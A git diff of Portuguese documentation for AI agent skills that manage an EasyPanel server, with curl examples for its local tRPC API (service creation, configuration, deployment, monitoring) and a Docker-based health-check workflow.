-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"mysql-db"}}'
# Redis
curl -s -X POST "http://localhost:3000/api/trpc/services.redis.createService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"cache"}}'
```
### Inspeccionar Serviço
```bash
# URL encode: {"json":{"projectName":"descomplicar","serviceName":"dashboard_descomplicar"}}
curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%2C%22serviceName%22%3A%22dashboard_descomplicar%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"projectName": "descomplicar",
"name": "dashboard_descomplicar",
"type": "app",
"enabled": true,
"token": "deploy-webhook-token",
"source": {"type": "git", "repo": "https://...", "ref": "main"},
"build": {"type": "nixpacks", "buildCommand": "npm run build"},
"env": "VAR=value",
"mounts": [],
"ports": []
}
```
### Deploy Serviço
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.deployService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
```
### Enable/Disable Serviço
```bash
# Disable
curl -s -X POST "http://localhost:3000/api/trpc/services.app.disableService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
# Enable
curl -s -X POST "http://localhost:3000/api/trpc/services.app.enableService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
```
### Destruir Serviço
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.destroyService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
```
**Regra Descomplicar:** `projectName:"descomplicar"` para serviços próprios.
---
## Service Configuration API
### Actualizar Source (GitHub)
Endpoints completos com exemplos curl: ver [references/service-config-api.md](references/service-config-api.md)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceGithub" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"owner":"ealmeida",
"repo":"MeuRepo",
"ref":"main",
"path":"/"
}}'
```
### Actualizar Source (Git Custom)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceGit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"repo":"https://git.descomplicar.pt/org/repo",
"ref":"main",
"path":"/"
}}'
```
### Actualizar Source (Docker Image)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceImage" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"image":"node:22-alpine"
}}'
```
### Actualizar Environment Variables
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateEnv" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"env":"NODE_ENV=production\nPORT=3000\nDATABASE_URL=postgres://..."
}}'
```
### Actualizar Domains
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateDomains" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"domains":[
{"host":"api.descomplicar.pt","https":true,"port":3000}
]
}}'
```
### Actualizar Mounts
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateMounts" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"mounts":[
{"type":"volume","name":"data","mountPath":"/app/data"}
]
}}'
```
### Actualizar Ports (non-HTTP)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updatePorts" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"ports":[
{"published":8080,"target":3000,"protocol":"tcp"}
]
}}'
```
### Actualizar Resources
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateResources" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"resources":{
"memoryLimit":"512m",
"memoryReservation":"256m",
"cpuLimit":1,
"cpuReservation":0.5
}
}}'
```
### Actualizar Build Config
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateBuild" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"build":{
"type":"nixpacks",
"buildCommand":"npm run build",
"startCommand":"npm start"
}
}}'
```
### Actualizar Deploy (Replicas, Command)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateAdvanced" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"deploy":{
"replicas":2,
"command":"node dist/index.js",
"zeroDowntime":true
}
}}'
```
| Endpoint | Descrição |
|----------|-----------|
| `services.app.updateSourceGithub` | Source GitHub (`owner`, `repo`, `ref`, `path`) |
| `services.app.updateSourceGit` | Source Git custom (`repo`, `ref`, `path`) |
| `services.app.updateSourceImage` | Source Docker image (`image`) |
| `services.app.updateEnv` | Variáveis de ambiente (`env` como string multi-linha) |
| `services.app.updateDomains` | Domínios (`domains[]` com `host`, `https`, `port`) |
| `services.app.updateMounts` | Volumes (`mounts[]` com `type`, `name`, `mountPath`) |
| `services.app.updatePorts` | Portas TCP/UDP (`ports[]` com `published`, `target`, `protocol`) |
| `services.app.updateResources` | CPU/RAM (`memoryLimit`, `cpuLimit`, etc.) |
| `services.app.updateBuild` | Build config (`type`, `buildCommand`, `startCommand`) |
| `services.app.updateAdvanced` | Deploy avançado (`replicas`, `command`, `zeroDowntime`) |
| `services.postgres.updateBackup` | Backup BD para S3 |
---
## Monitor API
### System Stats
```bash
# Stats do sistema
curl -s "http://localhost:3000/api/trpc/monitor.getSystemStats" \
-H "Authorization: Bearer $TOKEN"
```
### Service Stats
```bash
curl -s "http://localhost:3000/api/trpc/monitor.getServiceStats?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%2C%22serviceName%22%3A%22minha-api%22%7D%7D" \
# Stats de serviço (URL encode necessário)
# input: {"json":{"projectName":"descomplicar","serviceName":"api"}}
curl -s "http://localhost:3000/api/trpc/monitor.getServiceStats?input=..." \
-H "Authorization: Bearer $TOKEN"
```
### Docker Task Stats
```bash
# Stats Docker tasks
curl -s "http://localhost:3000/api/trpc/monitor.getDockerTaskStats" \
-H "Authorization: Bearer $TOKEN"
```
@@ -402,10 +130,10 @@ curl -s "http://localhost:3000/api/trpc/monitor.getDockerTaskStats" \
## Logs API
### Get Service Logs
```bash
curl -s "http://localhost:3000/api/trpc/logs.getServiceLogs?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%2C%22serviceName%22%3A%22minha-api%22%2C%22tail%22%3A100%7D%7D" \
# Logs de serviço (tail=100)
# input: {"json":{"projectName":"descomplicar","serviceName":"api","tail":100}}
curl -s "http://localhost:3000/api/trpc/logs.getServiceLogs?input=..." \
-H "Authorization: Bearer $TOKEN"
```
@@ -413,108 +141,26 @@ curl -s "http://localhost:3000/api/trpc/logs.getServiceLogs?input=%7B%22json%22%
## Settings API
### Get Server IP
```bash
curl -s "http://localhost:3000/api/trpc/settings.getServerIp" \
-H "Authorization: Bearer $TOKEN"
```
### Get Panel Domain
```bash
curl -s "http://localhost:3000/api/trpc/settings.getPanelDomain" \
-H "Authorization: Bearer $TOKEN"
```
### Set Panel Domain
```bash
curl -s -X POST "http://localhost:3000/api/trpc/settings.setPanelDomain" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"domain":"easy.descomplicar.pt"}}'
```
### Get/Set Let's Encrypt Email
```bash
# Get
curl -s "http://localhost:3000/api/trpc/settings.getLetsEncryptEmail" \
-H "Authorization: Bearer $TOKEN"
# Set
curl -s -X POST "http://localhost:3000/api/trpc/settings.setLetsEncryptEmail" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"email":"emanuel@descomplicar.pt"}}'
```
### Restart Traefik
```bash
curl -s -X POST "http://localhost:3000/api/trpc/settings.restartTraefik" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{}}'
```
### Restart EasyPanel
```bash
curl -s -X POST "http://localhost:3000/api/trpc/settings.restartEasypanel" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{}}'
```
### Prune Docker Images
```bash
curl -s -X POST "http://localhost:3000/api/trpc/settings.pruneDockerImages" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{}}'
```
| Endpoint | Tipo | Descrição |
|----------|------|-----------|
| `settings.getServerIp` | GET | IP do servidor |
| `settings.getPanelDomain` | GET | Domínio do painel |
| `settings.setPanelDomain` | POST | Definir domínio (`domain`) |
| `settings.getLetsEncryptEmail` | GET | Email Let's Encrypt |
| `settings.setLetsEncryptEmail` | POST | Definir email (`email`) |
| `settings.restartTraefik` | POST | Reiniciar Traefik |
| `settings.restartEasypanel` | POST | Reiniciar EasyPanel |
| `settings.pruneDockerImages` | POST | Limpar imagens Docker |
---
## Database Backup API
### Update Backup Config
## URL Encoding para GET
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.postgres.updateBackup" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-db",
"backup":{
"enabled":true,
"schedule":"0 3 * * *",
"destination":{
"type":"s3",
"bucket":"backups",
"region":"eu-west-1",
"accessKey":"...",
"secretKey":"..."
}
}
}}'
```
---
## Helper: URL Encode JSON
Para GET requests, o input deve ser URL encoded:
```bash
# Usando Python
INPUT='{"json":{"projectName":"descomplicar","serviceName":"api"}}'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$INPUT'))")
curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=$ENCODED" -H "Authorization: Bearer $TOKEN"
curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=$ENCODED" \
-H "Authorization: Bearer $TOKEN"
```
---
@@ -525,17 +171,12 @@ Criar `/usr/local/bin/easypanel-api`:
```bash
#!/bin/bash
# EasyPanel API wrapper
# Usage: easypanel-api <endpoint> [json-body]
TOKEN=$(cat /etc/easypanel/.api-token)
BASE="http://localhost:3000/api/trpc"
if [ -z "$2" ]; then
# GET request
curl -s "$BASE/$1" -H "Authorization: Bearer $TOKEN"
else
# POST request
curl -s -X POST "$BASE/$1" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
@@ -543,23 +184,78 @@ else
fi
```
**Uso:**
```bash
easypanel-api projects.listProjects
easypanel-api services.app.deployService '{"json":{"projectName":"descomplicar","serviceName":"api"}}'
```
Uso: `easypanel-api projects.listProjects`
---
## Checklist Uso API
## Checklist de Uso
- [ ] SSH para servidor `easy`
- [ ] `TOKEN=$(cat /etc/easypanel/.api-token)`
- [ ] Testar: `curl -s ".../projects.listProjects" -H "Authorization: Bearer $TOKEN"`
- [ ] Usar endpoints conforme documentado
- [ ] Validar resposta em `result.data.json`
---
## Limitações de Mounts
O EasyPanel usa Docker Swarm internamente. Isto impõe limitações nos mounts que diferem do Docker standalone.
### Tipos de mount suportados
| Tipo | API `type` | Comportamento | Limitações |
|------|-----------|---------------|------------|
| **Volume mount** | `volume` | Volume gerido pelo Docker Swarm | Funciona bem. Dados persistem no nó. Sem acesso directo ao filesystem do host |
| **Bind mount** | `bind` | Monta directório do host no container | **Limitado no Swarm** — só funciona se o serviço estiver fixo a um nó específico |
| **File mount** | `file` | Monta ficheiro individual (config) | Funciona. Ideal para ficheiros de configuração |
### Limitações críticas
1. **Bind mounts no Swarm** — O Docker Swarm não garante que o container corra sempre no mesmo nó. Um bind mount (`type: "bind"`) aponta para um path no host, mas se o container migrar para outro nó, esse path pode não existir. O EasyPanel mitiga isto parcialmente por correr num único nó, mas a limitação arquitectural mantém-se.
2. **Sem suporte nativo a NFS/CIFS** — A API `updateMounts` não suporta drivers de volume remotos (NFS, CIFS, etc.) directamente. Para volumes partilhados, é necessário criar o volume Docker manualmente com o driver adequado e depois referenciá-lo.
3. **Permissões** — Volumes criados via API pertencem a `root:root` por defeito. Containers que correm com utilizador não-root podem ter problemas de permissões. Workaround: usar `command` no `updateAdvanced` para corrigir permissões no arranque.
4. **Substituição total**`updateMounts` substitui **todos** os mounts existentes. Para adicionar um mount, é preciso primeiro obter os mounts actuais via `inspectService` e enviar a lista completa com o novo mount incluído.
### Workarounds conhecidos
```bash
# 1. Obter mounts actuais antes de adicionar novo
INSPECT=$(curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=..." \
-H "Authorization: Bearer $TOKEN")
# Extrair mounts existentes do JSON e adicionar o novo
# 2. Volume com permissões corrigidas — usar initCommand
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateAdvanced" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"deploy":{
"command":"chown -R 1000:1000 /app/data && node dist/index.js"
}
}}'
# 3. Volume Docker manual com driver NFS (fora da API)
docker volume create --driver local \
--opt type=nfs \
--opt o=addr=192.168.1.10,rw \
--opt device=:/export/data \
vol-nfs-data
# Depois referenciar na API:
# {"type":"volume","name":"vol-nfs-data","mountPath":"/app/data"}
```
1. [ ] SSH para servidor easy
2. [ ] TOKEN=$(cat /etc/easypanel/.api-token)
3. [ ] Testar: curl -s "http://localhost:3000/api/trpc/projects.listProjects" -H "Authorization: Bearer $TOKEN"
4. [ ] Usar endpoints conforme documentado
5. [ ] Validar resposta (result.data.json)
```
### Recomendações
- **Preferir `volume`** sobre `bind` — mais portável e compatível com Swarm
- **Usar `file`** para configs individuais (nginx.conf, .env, etc.)
- **Inspeccionar antes de actualizar** — a API substitui a lista inteira de mounts
- **Documentar volumes manuais** — volumes criados fora da API não aparecem no painel EasyPanel até serem referenciados por um serviço
---
@@ -567,12 +263,16 @@ easypanel-api services.app.deployService '{"json":{"projectName":"descomplicar",
| Anti-Pattern | Risco | Alternativa |
|--------------|-------|-------------|
| Expor API externamente | Segurança | Usar apenas via SSH localhost |
| Hardcode token | Leak | Usar /etc/easypanel/.api-token |
| Não validar response | Erros silenciosos | Verificar result.data.json |
| POST sem Content-Type | Request falha | Sempre incluir header |
| Expor API externamente | Segurança crítica | Usar apenas via SSH localhost |
| Hardcode token | Leak de credenciais | Usar `/etc/easypanel/.api-token` |
| Não validar response | Erros silenciosos | Verificar `result.data.json` |
| POST sem `Content-Type` | Request falha | Sempre incluir header |
---
**Versão:** 1.0.0 | **Autor:** Descomplicar®
**Fonte:** Engenharia reversa SDK github.com/Easypanel-Community/easypanel
## Ficheiros de Referência
| Ficheiro | Conteúdo |
|----------|----------|
| [references/services-api.md](references/services-api.md) | Endpoints de serviços com curl completo (create, inspect, deploy, enable/disable, destroy) |
| [references/service-config-api.md](references/service-config-api.md) | Endpoints de configuração (source, env, domains, mounts, ports, resources, build, deploy, backup BD) |

View File

@@ -0,0 +1,178 @@
# EasyPanel API - Service Configuration
## Actualizar Source (GitHub)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceGithub" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"owner":"ealmeida",
"repo":"MeuRepo",
"ref":"main",
"path":"/"
}}'
```
## Actualizar Source (Git Custom)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceGit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"repo":"https://git.descomplicar.pt/org/repo",
"ref":"main",
"path":"/"
}}'
```
## Actualizar Source (Docker Image)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceImage" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"image":"node:22-alpine"
}}'
```
## Actualizar Environment Variables
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateEnv" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"env":"NODE_ENV=production\nPORT=3000\nDATABASE_URL=postgres://..."
}}'
```
## Actualizar Domains
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateDomains" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"domains":[
{"host":"api.descomplicar.pt","https":true,"port":3000}
]
}}'
```
## Actualizar Mounts
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateMounts" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"mounts":[
{"type":"volume","name":"data","mountPath":"/app/data"}
]
}}'
```
## Actualizar Ports (non-HTTP)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updatePorts" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"ports":[
{"published":8080,"target":3000,"protocol":"tcp"}
]
}}'
```
## Actualizar Resources
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateResources" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"resources":{
"memoryLimit":"512m",
"memoryReservation":"256m",
"cpuLimit":1,
"cpuReservation":0.5
}
}}'
```
## Actualizar Build Config
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateBuild" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"build":{
"type":"nixpacks",
"buildCommand":"npm run build",
"startCommand":"npm start"
}
}}'
```
## Actualizar Deploy (Replicas, Command)
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateAdvanced" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-api",
"deploy":{
"replicas":2,
"command":"node dist/index.js",
"zeroDowntime":true
}
}}'
```
## Database Backup Config
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.postgres.updateBackup" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{
"projectName":"descomplicar",
"serviceName":"minha-db",
"backup":{
"enabled":true,
"schedule":"0 3 * * *",
"destination":{
"type":"s3",
"bucket":"backups",
"region":"eu-west-1",
"accessKey":"...",
"secretKey":"..."
}
}
}}'
```

View File

@@ -0,0 +1,100 @@
# EasyPanel API - Services
## Service Types
| Type | Descricao |
|------|-----------|
| `app` | Aplicacao (Node.js, Python, Go, etc.) |
| `mysql` | MySQL database |
| `mariadb` | MariaDB database |
| `postgres` | PostgreSQL database |
| `mongo` | MongoDB database |
| `redis` | Redis cache |
## Criar Servico App
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.createService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
```
## Criar Servico Database
```bash
# PostgreSQL
curl -s -X POST "http://localhost:3000/api/trpc/services.postgres.createService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-db"}}'
# MySQL
curl -s -X POST "http://localhost:3000/api/trpc/services.mysql.createService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"mysql-db"}}'
# Redis
curl -s -X POST "http://localhost:3000/api/trpc/services.redis.createService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"cache"}}'
```
## Inspeccionar Servico
```bash
curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%2C%22serviceName%22%3A%22dashboard_descomplicar%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
```
Response:
```json
{
"projectName": "descomplicar",
"name": "dashboard_descomplicar",
"type": "app",
"enabled": true,
"token": "deploy-webhook-token",
"source": {"type": "git", "repo": "https://...", "ref": "main"},
"build": {"type": "nixpacks", "buildCommand": "npm run build"},
"env": "VAR=value",
"mounts": [],
"ports": []
}
```
## Deploy Servico
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.deployService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
```
## Enable/Disable Servico
```bash
# Disable
curl -s -X POST "http://localhost:3000/api/trpc/services.app.disableService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
# Enable
curl -s -X POST "http://localhost:3000/api/trpc/services.app.enableService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
```
## Destruir Servico
```bash
curl -s -X POST "http://localhost:3000/api/trpc/services.app.destroyService" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
```

View File

@@ -1,14 +1,7 @@
---
name: easypanel-deploy
description: Deploy completo e automatizado para EasyPanel com validação integrada via API oficial.
author: Descomplicar® Crescimento Digital
version: 2.0.0
quality_score: 70
user_invocable: true
desk_task: TBD
allowed-tools: Task
dependencies:
- easypanel-api
description: Deploy completo e automatizado para EasyPanel com validação integrada, monitoring e safety net (auto-rollback) via API oficial.
disable-model-invocation: true
---
# EasyPanel Deploy

View File

@@ -1,16 +1,7 @@
---
name: easypanel-init
description: Initialize EasyPanel projects with proper configuration via API oficial. Sets up Node.js,
PHP, or static sites on EasyPanel. Use when user mentions "easypanel init", "new
easypanel", "setup easypanel", "deploy easypanel", "easypanel setup".
author: Descomplicar® Crescimento Digital
version: 2.0.0
quality_score: 70
user_invocable: true
desk_task: TBD
allowed-tools: Task
dependencies:
- easypanel-api
description: Inicialização de projectos EasyPanel com configuração adequada via API oficial — scaffold automático para Node.js, PHP ou sites estáticos.
disable-model-invocation: true
---
# EasyPanel Init

View File

@@ -0,0 +1,281 @@
---
name: easypanel-monitor
description: Monitorizacao de servicos EasyPanel -- estado de todos os servicos Docker, uso de recursos, disco e logs de erros com tabela resumo OK/DOWN/WARN.
---
# /easypanel-monitor - Monitorizacao EasyPanel
Verificacao rapida do estado de todos os servicos no EasyPanel (VM 101) com identificacao de problemas.
---
## Quando usar
- Verificacao diaria do estado dos servicos
- Apos alertas de servicos down
- Antes de deploys (validar estado actual)
- Diagnostico rapido de problemas de recursos
## Quando nao usar
- Para troubleshooting aprofundado de um servico especifico (usar `/easypanel-troubleshoot`)
- Para rollback de versao (usar `/easypanel-rollback`)
- Para deploy de servicos (usar `/easypanel-deploy`)
---
## Sintaxe
```bash
/easypanel-monitor # Check completo (servicos + recursos + disco)
/easypanel-monitor quick # Apenas estado dos servicos (OK/DOWN)
/easypanel-monitor <servico> # Detalhe de um servico especifico (logs + stats)
```
---
## Servidor alvo
| Alias SSH | IP | Porta | Funcao |
|-----------|-----|-------|--------|
| **easy** | 5.9.90.70 | 22 | EasyPanel (VM 101) |
```javascript
mcp__ssh-unified__ssh_execute({
server: "easy",
command: "<comando>"
})
```
---
## Workflow completo
### Passo 1: Estado dos servicos (docker service ls)
```bash
docker service ls --format "table {{.Name}}\t{{.Replicas}}\t{{.Image}}\t{{.Ports}}"
```
**Classificacao:**
- **OK** - Replicas X/X (todas activas)
- **DOWN** - Replicas 0/X (nenhuma activa)
- **WARN** - Replicas parciais ou servico sem replicas esperadas
### Passo 2: Identificar servicos DOWN (0/N replicas)
```bash
docker service ls --format "{{.Name}} {{.Replicas}}" | awk '$2 ~ /^0\//'
```
Para cada servico DOWN, obter logs:
```bash
docker service logs <nome-servico> --tail 10 --no-trunc 2>&1
```
### Passo 3: Uso de recursos (docker stats)
```bash
docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.MemPerc}}\t{{.NetIO}}\t{{.BlockIO}}"
```
**Thresholds:**
| Metrica | OK | WARN | CRITICAL |
|---------|-----|------|----------|
| CPU | <70% | 70-90% | >90% |
| RAM | <70% | 70-85% | >85% |
| RAM absoluto | <512MB | 512MB-1GB | >1GB |
### Passo 4: Espaco em disco
```bash
df -h / /var/lib/docker
```
**Thresholds:**
| Disco | OK | WARN | CRITICAL |
|-------|-----|------|----------|
| / | <70% | 70-85% | >85% |
| /var/lib/docker | <70% | 70-85% | >85% |
Verificar imagens Docker nao utilizadas:
```bash
docker system df
```
### Passo 5: Logs de erros recentes (servicos com problemas)
Para servicos DOWN ou WARN:
```bash
docker service logs <nome-servico> --tail 10 --no-trunc 2>&1 | grep -iE "error|fatal|panic|oom|killed|fail"
```
### Passo 6: Verificar tarefas falhadas
```bash
docker service ls -q | xargs -I {} docker service ps {} --format "{{.Name}} {{.CurrentState}} {{.Error}}" --filter "desired-state=shutdown" 2>/dev/null | grep -i "failed\|rejected\|error" | head -20
```
---
## Template de output
```markdown
## EasyPanel Monitor - [DATA]
**Servidor:** easy.descomplicar.pt (5.9.90.70)
### Estado dos servicos
| Servico | Replicas | Estado | CPU | RAM | Notas |
|---------|----------|--------|-----|-----|-------|
| descomplicar_api | 1/1 | OK | 2.3% | 128MB | - |
| descomplicar_n8n | 1/1 | OK | 5.1% | 256MB | - |
| descomplicar_db | 0/1 | DOWN | - | - | Connection refused |
| descomplicar_redis | 1/1 | WARN | 85% | 490MB | CPU elevado |
**Resumo:** X/Y servicos OK | Z DOWN | W WARN
### Disco
| Mount | Usado | Disponivel | % | Estado |
|-------|-------|------------|---|--------|
| / | 45G | 55G | 45% | OK |
| /var/lib/docker | 30G | 70G | 30% | OK |
Docker system: X imagens, Y containers, Z volumes (total: XGB)
### Alertas
**CRITICAL:**
- descomplicar_db: 0/1 replicas - servico DOWN
Logs: `[erro relevante dos logs]`
**WARN:**
- descomplicar_redis: CPU a 85% (threshold 70%)
### Accoes recomendadas
1. [URGENTE] Investigar descomplicar_db: `/easypanel-troubleshoot db`
2. [IMPORTANTE] Monitorizar descomplicar_redis - CPU elevado
3. [MELHORIA] Limpar imagens Docker nao utilizadas: `docker system prune`
```
---
## Modo quick
Apenas passo 1 e 2. Output resumido:
```markdown
## EasyPanel Quick Check - [DATA]
| Servico | Estado |
|---------|--------|
| descomplicar_api | OK |
| descomplicar_n8n | OK |
| descomplicar_db | DOWN |
**X/Y OK** | Z alertas
```
---
## Modo servico especifico
Para `/easypanel-monitor <servico>`:
```bash
# Estado
docker service inspect <servico> --pretty
# Tarefas (historico)
docker service ps <servico>
# Logs (ultimas 50 linhas)
docker service logs <servico> --tail 50 --no-trunc 2>&1
# Stats do container
docker stats --no-stream --filter "name=<servico>"
```
---
## Integracao com API EasyPanel
Alternativa via API tRPC (ver `/easypanel-api`):
```bash
TOKEN=$(cat /etc/easypanel/.api-token)
# Stats do sistema
curl -s "http://localhost:3000/api/trpc/monitor.getSystemStats" \
-H "Authorization: Bearer $TOKEN"
# Stats Docker tasks
curl -s "http://localhost:3000/api/trpc/monitor.getDockerTaskStats" \
-H "Authorization: Bearer $TOKEN"
# Projectos e servicos
curl -s "http://localhost:3000/api/trpc/projects.listProjectsAndServices" \
-H "Authorization: Bearer $TOKEN"
```
---
## MCPs necessarios
- `ssh-unified` - Acesso ao servidor easy (obrigatorio)
- `mcp-time` - Data/hora para o report (obrigatorio)
- `desk-crm-v3` - Comentar resultado em tarefa (opcional)
---
## Anti-patterns
| Anti-pattern | Problema | Solucao |
|--------------|----------|---------|
| Ignorar servicos DOWN | Problemas acumulam | Sempre investigar com /easypanel-troubleshoot |
| Nao verificar disco | Disco cheio causa crash geral | Incluir df -h sempre |
| docker stats sem --no-stream | Bloqueia terminal | Sempre usar --no-stream |
| Ignorar tarefas falhadas | Crash loops nao detectados | Verificar desired-state=shutdown |
| Nao limpar imagens | Disco enche | docker system prune periodico |
---
## Checklist de execucao
- [ ] Conectar via SSH ao servidor easy
- [ ] docker service ls (estado de todos os servicos)
- [ ] Identificar servicos DOWN (0/N replicas)
- [ ] docker stats --no-stream (recursos)
- [ ] df -h (espaco em disco)
- [ ] docker system df (uso Docker)
- [ ] Logs de servicos com problemas (--tail 10)
- [ ] Tarefas falhadas (docker service ps --filter)
- [ ] Classificar cada servico: OK / WARN / DOWN
- [ ] Gerar tabela resumo
